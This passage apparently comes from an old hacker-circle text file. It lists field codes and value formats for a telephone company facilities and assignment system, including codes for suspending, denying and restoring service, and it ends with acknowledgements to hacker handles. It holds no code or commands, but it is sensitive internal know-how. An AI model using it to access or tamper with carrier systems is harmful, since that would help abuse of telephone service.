	SUSP=RC:LINE:CHG:messages of suspended service
	MF Jumper Listing for MDF
	MF XXX
	NEW=Running Jumper Listing
	DJ=Dead Jumper Listing
	MF Message Format When Completing Transfer Circuits with TOC
	MF XXX
	ALL=Message is Printed for Every Circuit in Range
	ERR=Message Printed Only for Circuits not Completed
	MF Message Format for Dial Transfer Number Lists
	MF XXX
	GVR=Transaction GFR Output Format, One Facility per Line
	LVT=Line Verification Test Format
	TLC=Two-line Condensed Format
	MG Marker Group Number
	MG X
	X=0-9
	MIN Minimum Percentage Value of Entity Fill or Minimum CCS Value
	MIN XXX
	XXX=Maximum of 3 Numeric Characters
	MLP Multi-loop Resistance Zone Threshold
	MLP XX
	XX=Two Numeric Characters
	MOD Module Number
	MOD XXX
	XXX=Three Numeric Characters
	MODE Integrated SLC No. 5ESS Mode
	MODE X
	1=5 T1 Carrier Channels
	2=3 T1 Carrier Channels
	MPN Master Work Package Number
	MPN XXXX
	XXXX=1-9999
	MR Message Register
	MR XXXXXX
	XXXXXX=Maximum of 6 Alphanumeric Characters
	MRO Message Register Option
	MRO XXX
	XXX=YES or NO
	MT Master Record Tape Unit Number or Tape Drive to Write
	MT X
	X=Numeric
	MTR Tape Drive to Read
	MTR X
	X=Numeric
	MTW Tape Drive to Write
	MTW X
	X=Numeric
	NAR NAC Assignment Review
	NAR XXX
	XXX=Maximum of 3 Numeric Characters
	NGF Number Group Frame for 5XB
	NGF XXX
	XXX=Three Numeric Characters
	NNX Telephone Exchange Code
	NNX XXX
	XXX=THree Numeric Characters
	NOE Number of OEs to be Assigned
	NOE X
	X=0 or 1
	NPA Area Code and Exchange Number
	NPA XXXXXX
	XXXXXX=Six Alphanumeric Characters
	NRM Normalizing CCS VAlue
	NRM XX
	XX=0-99
	NTN Number of TNs to be Assigned
	NTN X
	X=0 or 1
	OA Line Equipment Assignment Option
	OA X
	Y=Yes
	N=No
	OC Order Category
	OC XXX
	ACT=Assignment Change Ticket
	ALL=All OE Load Factors
	CPC=Special Service
	FM=Count Since OE Input Features Occurrences
	FO=Count All OE Input Feature Occurrences
	HOT=Frame Ouput-urgent
	JR=Jeopardy Reason
	OCS Old Class of Service
	OCS XXXXXX
	XXXXXX=Maximum of 6 Alphanumeric Characters
	OD Output Device
	OD XXXX
	TT=Send Output to Current Terminal
	TTXX=Send Output to Specified Terminal XX
	MTX=Send Output to Magnetic Tape X
	OE Office Equpiment Number
	OE ID
	(See MASK)
	OGO Outgoing Only Trunk
	OGO XXX
	XXX=Maximum of 4 Numeric Characters
	OPT Party Assignment Option
	OPT X
	1=Assign Multi-party Customers to Spare Party Equipment
	2=Assign Multi-party Customer to Partially Equipped Party Equipment
	3=Assign Only One Multi-Party Customer to each Single Party Equipment
	ORD Service or Work Order
	ORD XX...XX
	XX...XX=Maximum of 20 Alphanumeric Characters
	OT Service or Work Order Type
	OT XXX
	BT=Background Transfer
	CD=Complete Disconnect
	CH=Changed
	CIO=Company Initiated Orders
	F="FROM"
	LET=Line Equipment Transfers
	LST=Line and Station Transfers
	MCE=Maintenance Change by LAC
	MCR=Maintenance Change by Repair
	MCT=All Maintenance Changes
	NC=New Connect
	R=Remarks
	REA=Pending Reassociation
	SW=Swap
	T="TO"
	PBX Private Branch Exchange
	PBX XXXX
	XXXX=Maximum of 4 Numeric Characters
	PCID Primary Circuit Identification
	PCID XX...XX
	XX...XX=Maximum of 61 Alphanumeric Characters
	PKT Picket Fence Values
	PKT XXX.X,...,XXX.X
	XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or
	N=No New Values
	PL Private line Circuit Number
	PL XX...XX
	XX...XX=Maximum of 61 Alphanumeric Characters
	PNL PREMIS Number List for TN
	PNL XX...XX
	XX...XX=Maximum of 12 Alphanumeric Characters
	POP Line Equipment Print Option
	POP XXX
	CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS
	CNG=Concentrator Group-2ESS, 3ESS
	HG=Horizontal Group-5XBAR
	IM=Interface Module-5ESS
	LFG=Line Finder Group-SXS
	LLF=Line Link Frame-5XBAR
	LLN=Line Link Net-1ESS
	LTN=Line Trunk Net-2ESS
	LU=Link Unit Module-5ESS
	QC=Quarter Choice-1XBAR
	SW=Switch-1XBAR
	VF=Vertical FIle-5XBAR
	PR Cable Pair ID
	PR YXXX
	Y=Alphanumeric
	XXX=Numeric
	PRI Frame Priority
	PRI XX
	XX=Two Numeric Characters
	PRP Permanent Cable Pair Remarks
	PRP XX...XX
	XX...XX=Maximum of 14 Alphanumeric Characters
	PRZ Preferred Rate Zone
	PRT X
	X=Numeric
	PS Previously Published/Non-published Facility Indicator
	PS X
	N=Non-Published
	!=Published
	PT Package Time
	PT XXX
	XXX=Three Numeric Characters
	PTY Party Number or Position
	PTY X
	X=1-4
	PTY Party Indicator
	PTY X
	R=Reserved
	O=Open
	PWC PREMIS Wire Center
	PWC XX...XX
	XX...XX=Maximum of 8 Alphanumeric Characters
	PWC Print Work Code
	PWC XXX
	NBT=No Back Tap
	COM=Frame Complete
	PBT=Print Back Tap
	RCT=Place Heat Coils on "TO" Pair
	RBT=Remove Back Tap
	RCF=Remove Heat Coils on "FROM" Pair
	VBT=Verify Back Tap
	USX=Locally Defined Codes (X=1-4)
	RAP Rotary Assignment Priority
	RAP X
	X=Numeric
	RCT Recent Change Type
	RCT XX
	1=1ESS Office
	1A=1AESS Office
	2=2ESS (LO1)
	2E=2ESS (EF1 and EF2)
	3=3ESS
	5T=5ESS
	RCW Recent Change Keyword
	RCW XX...XX
	XX...XX=Maximum of 20 Alphanumeric Characters
	RD Release Date
	RD MM-DD-YY
	MM=Month
	DD=Day
	YY=Year
	RDG Message Register Reading
	RDG XXXX
	XXXX=Four Numeric Characters
	REC Record File Name and Number
	REC FFXXXXXX
	FF=File Name (Alphanumeric)
	XXXXXX=Record Number (Maximum of 6 Numeric Characters)
	REP Reprint Option
	REP X
	Y=Yes
	N=No
	RESP Send a Solicited Response
	RESP X
	S=Solicited Response
	REW Rework Status
	REW X
	Y=Yes
	N=No
	RLF Re-using DIPs Upper Bound Load Factor
	RLF X
	X=1-9
	RLO Automatic Relay Assignment Present
	RLO X
	Y=Yes
	N=No
	RLY Miscellaneous Relay
	RLY XX...XX
	XX...XX=Maximum of 10 Alphanumeric Characters
	RMK Remarks on Orders
	RMK XX...XX
	XX...XX=Maximum of 28 Alphanumeric Characters
	RMKG Hunt Group Remarks
	RMKG XX...XX
	XX...XX=Maximum of 30 Alphanumeric Characters
	RMKO Remarks on Office Equipment
	RMKO XX...XX
	XX...XX=Maximum of 12 Alphanumeric Characters
	RMKP Remarks on Cable Pair
	RMKP XX...XX
	XX...XX=Maximum of 14 Alphanumeric Characters
	RMKT Remarks on Telephone Number
	RMKT XX...XX
	XX...XX=Maximum of 14 Alphanumeric Characters
	RNO RSS Subentity Number
	RNO XX
	XX=01-63
	RTI Route Index
	RTI XXXX
	XXXX=Maximum of 4 Numeric Characters
	RTYP Relay Type
	RTYP XXX
	TBA=Tens Block Auxiliary
	SC=Sleeve Connect
	AR=Advance
	RTZ Rate Zone
	RTZ X
	X=Numeric
	RW Recent Change Work
	RW X
	N=Recent Change Message not Required
	C=Recent Change Coordination Required
	RZ Resistance Zone
	RZ XX
	XX=Two Numeric Characters
	SBS Sub-status
	SBS X
	A=Area Transfer
	C=Cut Through
	D=Dedicated
	L=Cut Through and Dedicated
	!=Blank
	SC Sleeve Connect Relay
	SC SYY-ZZZ
	S=Marker Group (Numeric)
	YY=Number Group Frame (Numeric)
	ZZZ=Relay Number (Numeric)
	SE Special Service Equipment Number
	SE XX...XX
	XX...XX=Maximum of 52 Alphanumeric Characters
	SET Single Entity Tag
	SET X
	Y=CP is Served by a Single Entity on a Single Frame
	!=CP Can be Served by More Than One Entity
	SG Service Segment
	SG X
	B=Business
	C=Coin
	D=Data
	R=Residence
	S=Special
	SGN Common Language Segment Number
	SGN XXX
	XXX=Maximum of 3 Alphanumeric Characters
	SIS Special Identifying Telephone Number Supplement
	SIS XXXX
	XXXX=Maximum of 4 Numeric Characters
	SIT Special Identifying Telephone Number
	SIT XXX-YYY-XXXX
	X=Numeric
	Y=Numeric
	SK Skip Option
	SK X
	X=0 or 2-9
	SN Sequence Number
	SN XXX
	XXX=1-999
	SOB Service Observing Tag
	SOB XXX
	XXX=YES or NO
	SS Suspension Status
	SS XX
	DB=Deny Both Ways
	DI=Deny Incoming
	DO=Deny Outgoing
	RS=Restore Suspended Circuit
	SB=Suspend Both Ways
	SD=Season Disconnect
	SI=Suspend Incoming
	SO=Suspend Outgoing
	DX=Deny Toll Access Tervice
	SSV Suspend Service Type
	SSV XX
	DO=Deny Outward Service
	DB=Deny Both Outward and Inward Service
	DX=Deny Toll Access Service
	RS=Restore Denied Service
	STAT Order Status
	STAT XX
	AC=Pending With no Framd or Installation Completion
	FC=Pending With Frame Completion but no Installation Completion
	IC=Pending with Installation Complation but no Frame Completion
	CC=Completed Orders
	CA=Canceled Orders
	STAT Facility Status
	STAT XX
	AS=All Spare
	EX=Excluded
	PC=Pending Connect
	RS=Reserved
	SF=Spare Facility
	UK=Unknown
	WK=Working
	STAT Load Group Status
	STAT XX
	EX=Blocked from all Assignments
	FU=Open for Dial Transfer Assignments Only
	PS=Pseudo LEN Assignments Only
	SO=Open for Service Orders and Work Orders Only
	WK=Open for All Assignments
	STO Line Equipment Status
	STO XX
	AW=All Working
	MS=Miscellaneous
	OF=Official
	TJ=Trunk and Junctor
	TS=Test
	WK=Working
	PD=Pending Disconnect
	PK Pending Disconnect/Pending New Connect
	AS=All Spare
	EX=Excluded
	LI=Left-in Disconnect
	RS=Reserved
	SF=Spare
	UK=Unknown
	PC=Pending Connect
	STP Cable and Pair Status
	STP XX
	AL=All Pairs
	AD=All Defective
	AP=All Provisioned
	AW=All Working
	DC=Designed Circuit
	DI=Defective (I=1-9)
	DM=Designed + SSM
	DP=Designed + SSP
	SM=Special Safeguard Measures
	SP=Special Safeguard Protection
	SS=Special Status
	WK=Working
	AS=All Spare
	EX=Excluded
	LI=Left-in Disconnect
	RS=Reserved
	SF=Spare
	UK=Unknown
	PC=Pending Connect
	PD=Pending Disconnect
	STT Telephone Number Status
	STT XX
	AU=Auxiliary
	AW=All Working
	MS=Miscellaneous
	NP=Non-published
	OF=Official
	TJ=Trunk and Junctor
	TS=Test
	WK=Working
	AS=All Spare
	AV=Available
	CM=Changed-Machine Intercept
	CO=Changed-Operator Intercept
	DM=Disconnected-Machine Intercept
	DO=Disconnected-Operator Intercept
	EX=Excluded
	RS=Reserved
	SF=Spare
	UK=Unknown
	PC=Pending Connect
	PD=Pending Disconnect
	PK=Pending Disconnect/Pending New Connect
	SUBL Sublet Service
	SUBL XXX-XXXX
	XXX-XXXX=Telephone Number
	SWC Set Work Code
	SWC XXX
	(See Print Work Code)
	SWG Switch Group
	SWG X
	X=0-2
	SYS Machine Number
	SYS XX...XX
	XX...XX=Maximum of 12 Alphanumeric Characters
	TA Transfer Assembly
	TA X
	Y=Yes
	N=No
	TAP Touchtone Assignment Priority Number
	TAP X
	X=Numeric
	TBA TBA Relay
	TBA XYY-ZZZ
	X=Marker Group Number (Numeric)
	YY=Number Group Frame (Numeric)
	ZZZ=Relay Number (Numeric)
	TBS TBS Relay
	TBS XZ-NN
	X=Marker Group Number (0-9)
	Z=Relay Number (0-3)
	NN=Ringing Combination (01-16)
	TC TO Cable
	TX XX...XX
	XX...XX=Maximum of 10 Alphanumeric Characters
	TER Terminal
	TER XXXX
	XXXX=Maximum of 4 Numeric Characters
	TER Terminal Number
	TER Y-XXXX-ZZZZ
	Y=Control Group (Alphanumeric)
	XXXX=Group Number (Numeric)
	ZZZZ=Terminal Number (Numeric)
	THG Thousands Group
	THG X or
	THG XXXX
	X=0-9
	XXXX=0000,1000,...,9000
	TK Trunk Cable and Pair Number
	TK YYYYYY-XXXX
	YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)
	XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)
	TLI Telephone Line Identifier
	TLI XXX-YYY-XXXX
	X=Numeric
	Y=Alphanumeric
	TN Telephone Number
	TN XXX-XXXX
	XXX-XXXX=Telephone Number
	TOM Two or More Non-pending, Non-party Filtered Circuit Facilities
	TOM XX
	CP=Cable Pair
	TN=Telephone Number
	OE=Office Equipment
	TP Tie Pair
	TP YY...YY-XXXX
	YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)
	XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)
	TPR Taper Code
	TPR XXXXXX
	XXXXXX=Maximum of 6 Alphanumeric Characters
	TRE Transmission Equipment
	TRE XX...XX
	XX...XX=Maximum of 17 Alphanumeric Characters
	TT Telephone Number Type
	TT X
	B=POTs Hunting
	C=Coin
	G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)
	O=Official
	Q=Centrex
	X=POTx Non-hunting
	TTA Terminating Traffic Area
	TTA XXX
	XXX=Maximum of 3 Alphanumeric Characters
	TYP Switching Type
	TYP XXX
	1ES=Number 1ESS
	2ES=Number 2ESS
	3ES=Number 3ESS
	5ES=Number 5ESS
	RSS=Remote Switching System
	1XB=Number 1 Cross-bar
	5XB=Number 5 Cross-bar
	SXS=Step-by-step
	DMX=DMS-10
	DMC=DMS-100
	US USOC
	US XXXXX
	XXXXX=Maximum of 5 Alphanumeric Characters
	USE Entity Usage
	USE X
	G=Growth
	S=Stable
	VAL Minimum Valid Hours for Entity Data
	VAL XX
	XX=1-99
	WC Wire Center
	WC XX
	XX=Alphanumeric
	WL Work Location
	WL Y
	Y=1-8 or
	WL XXX
	ADM=Administrative
	ACT=Assignment Change Ticket
	CPC=Special Service Circuits
	MCT=Maintenance Change Tickets
	WPN Work Package Number
	WPN XXXX
	XXXX=1-9999
	WPT Work Package Type
	WPT XXX
	XXX=Maximum of 3 Alphanumeric Characters
	XN "X" Number
	XN XXX-YYXX or
	XN XXX-YXX
	X=Numeric
	Y=Alphanumeric
	ZN Zone Location
	ZN XXX
	XXX=001-999
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	ACKNOWLEDGEMENTS
	Skinny Puppy for refreshing my memory
	The Urvile for the "$*" file and further usage of echo
	Bell Laboratories OPA-1Y600-01

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